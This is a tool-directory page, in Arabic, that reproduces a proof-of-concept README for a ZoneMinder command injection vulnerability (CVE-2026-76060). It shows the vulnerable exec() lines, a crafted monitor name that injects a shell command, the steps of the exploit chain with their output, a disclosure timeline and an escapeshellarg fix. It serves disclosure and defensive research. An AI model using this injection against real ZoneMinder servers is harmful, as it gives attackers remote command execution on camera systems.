Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/investigato/cve-2026-76060_zoneminder_commandinjection-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubinvestigato/cve-2026-76060_zoneminder_commandinjection-poc

CVE-2026-76060_ZoneMinder_CommandInjection-PoC

إثبات مفهوم لاستغلال CVE-2026-76060، وهو حقن أوامر نظام التشغيل في تصدير الأحداث في ZoneMinder، مما يوضح تنفيذ الأوامر عن بُعد (RCE) عبر أسماء مراقبة مُصمّمة بعناية.

عرض المستودع
1منذ 6س 54دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

فقط انتظر وراقب

إثبات مفهوم لثغرة حقن أوامر في نظام التشغيل في وظيفة تصدير الأحداث في ZoneMinder (web/includes/download_functions.php).

يتم إدراج أسماء المراقبين مباشرة في أوامر الصدفة باستخدام تغليف علامات الاقتباس المفردة اليدوي بدلاً من escapeshellarg(). يمكن للمهاجم الذي يمكنه إنشاء مراقب حقن أوامر صدفة عشوائية يتم تنفيذها كمستخدم www-data/أي مستخدم تعمل به العملية عندما يقوم أي مستخدم بتشغيل تصدير حدث.

الأسباب الكامنة

  • الالتزام 44c5c3c بتاريخ 4 أكتوبر 2023، هذا هو المكان الذي تم فيه تقديم ملف download_functions.php. رسالة الالتزام هي "تقديم وضع تنزيل جديد يدمج فيديوهات الأحداث في ملف واحد لكل مراقب." الكود الضعيف موجود هنا، لكنه تطلب من المسؤول إنشاء المراقب أولاً.
  • الالتزام 2d49e93 بتاريخ 2 يناير 2024 "تقديم إذن إنشاء للمراقبين، بحيث يمكن لمستخدم معين تعديل المراقبين الموجودين، ولكن لا يمكنه إنشاء مراقبين جدد." هذا هو المكان الذي تتغير فيه الأمور قليلاً. الآن يمكن للمستخدم الذي لديه فقط Monitors=Create إعداد اسم المراقب للهجوم، ويمكن لأي مستخدم لديه أذونات التصدير تشغيله.

الإصدارات المتأثرة: >= 1.37.48 (يحتوي هذا على تغييرات ترحيل SQL) و <= 1.38.1 فرع 1.36.x غير متأثر.

كيف يعمل

مستخدمان. مستويان من الامتيازات. صدفة واحدة.

  • medpriv لديه Monitors=Create أو Monitors=Edit إذا كان هناك مراقب موجود بالفعل.
  • lowpriv لديه وصول كافٍ فقط لتشغيل تصدير حدث. يضغط على الزناد دون أن يعرف ذلك.

لا يحتاج سجل الحدث إلى الإنشاء يدويًا. ZoneMinder هو نظام كاميرات... يقوم بإنشاء سجلات الأحداث تلقائيًا أثناء تشغيل الكاميرات. في النشر المباشر، خطوة الإعداد هي: إنشاء المراقب، ثم الابتعاد.

مصرفان، مصدر واحد

يصل اسم المراقب غير المنقى إلى استدعاءين منفصلين exec():

السطر 126 | ffmpeg:

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

السطر 150 | tar/zip:

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

كلاهما قابل للوصول من نفس اسم المراقب المصمم بعناية بغض النظر عن تنسيق التصدير.

المتطلبات

  • Docker
  • Docker Compose

الاستخدام

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# انتظر حتى ينتهي ZoneMinder من التهيئة (~30 ثانية)
uv run poc.py

init.sql يقوم بتهيئة قاعدة البيانات مع تمكين المصادقة ومستخدمين:

  • medpriv مع حقوق إنشاء المراقبين (ولأغراض الوقت، حقوق إنشاء الأحداث أيضًا، لكن هذا ليس ضروريًا في الإنتاج)
  • lowpriv مع وصول تصدير الأحداث فقط

uv run poc.py يشغل السلسلة الكاملة:

  1. medpriv يصادق عبر API وينشئ مراقبًا باسم poc'; touch /tmp/pwned; echo '
  2. medpriv ينشئ سجل حدث لتسريع العرض التوضيحي (في الإنتاج، يقوم ZoneMinder بذلك تلقائيًا)
  3. lowpriv يصادق ويشغل تصدير حدث
  4. يتحقق السكربت من /tmp/pwned داخل الحاوية ويطبع النتيجة

المخرجات المتوقعة:

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

  • 3.1: 8.8 (عالٍ):AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • 4.0: 8.7 (عالٍ):AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

في كلتا الحالتين، على الأقل escapeshellarg() لا يكلف شيئًا.

الإفصاح

  • 03/08/2026: تم الإبلاغ عبر البريد الإلكتروني للاتصال الأمني في ZoneMinder
  • 03/09/2026: تم إصلاحه في الالتزام b3a7c05
  • 06/08/2026: إفصاح عام

[!NOTE] تم الإصلاح خلال 12 ساعة من التقرير. لا اعتراف من المشرف بأن هذه مشكلة أمنية. أنا لا أوافق تم التحديث 8/27/26 - اعترف المشرف بالتقرير وتم إصدار CVE.

الإصلاح

قم بتطبيق escapeshellarg() عند نقطتي الحقن على الأقل:

root@kitploit:~
// السطر 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// السطر 150
$command .= ' '.escapeshellarg($mergedFileName);

السطران 116 و 211 في generateFileList() لهما نفس النمط.


اكتشفه (@investigato)
الشرح الكامل: scriptkittens.com

تنزيل الأداة